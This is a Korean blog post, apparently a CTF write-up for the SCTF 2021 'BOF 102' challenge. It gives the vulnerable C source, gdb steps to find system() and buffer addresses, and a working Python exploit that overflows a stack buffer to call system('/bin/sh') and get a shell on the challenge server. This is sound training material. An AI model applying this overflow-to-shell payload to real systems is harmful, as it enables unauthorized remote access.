나만의 메모노트

[SCTF 2021] BOF 102 본문

Security/CTF Write-Up

[SCTF 2021] BOF 102

sp3arm4n 2021. 8. 30. 03:12

이번 문제는 ShellCode를 획득하는 문제다.

1. Check Stack Frame

#include <stdio.h>
#include <stdlib.h>

char name[16];

void bofme() {
        char payload[16];

        puts("What's your name?");
        printf("Name > ");
        fflush(stdout);
        scanf("%16s", name);
        printf("Hello, %s.\n", name);

        puts("Do you wanna build a snowman?");
        printf(" > ");
        fflush(stdout);
        scanf("%s", payload);
        printf("!!!%s!!!\n", payload);
        puts("Good.");
}

int main() {
        system("echo 'Welcome to BOF 102!'");
        bofme();
        return 0;
}

해당 소스코드에서는 payload가 입력될 때 buffer overflow가 발생한다.

다음은 해당 코드에 대한 스택 프레임이다.

2. Find system() address

gdb를 이용하여 bof102를 disassamble하여 분석해본다. (필자는 peda 사용)

 

GitHub - longld/peda: PEDA - Python Exploit Development Assistance for GDB

PEDA - Python Exploit Development Assistance for GDB - GitHub - longld/peda: PEDA - Python Exploit Development Assistance for GDB

github.com

gdb ./bof102
p system

system()의 주소 = 0x80483e0

3. Find name buffer address

pd bofme

name[16]의 시작주소 = 0x804a034

 

gdb를 통해 system의 주소와 system의 인자 값으로 name의 buffer address를 확인했다.

4. Write Attack Vector

3번까지 모두 진행했다면 각각 찾은 주소를 기반으로 Attack Vector를 다음과 같이 나타낼 수 있다.

위 그림을 토대로 exploit 코드를 작성하였다.
다음은 python으로 exploit 코드를 작성한 소스코드이다.

from telnetlib import Telnet

tn = Telnet("bof102.sstf.site", 1337)

tn.read_until(b"Name > ")
tn.write(b"/bin/sh" + b"\n")

payload = b"A" * (16 + 4)
payload += b"\xe0\x83\x04\x08"
payload += b"C" * 4
payload += b"\x34\xa0\x04\x08"

tn.read_until(b" > ")
tn.write(payload + b"\n")

tn.interact()

작성된 코드를 실행하면 다음과 같이 flag를 획득할 수 있다.

SCTF{B0F_A774ck_w1Th_arg5_1n_x86}

'Security > CTF Write-Up' 카테고리의 다른 글

[SCTF 2021] BOF 101  (0) 2021.08.30
[SCTF 2021] SQLi 102  (0) 2021.08.23
[SCTF 2021] SQLi 101  (0) 2021.08.23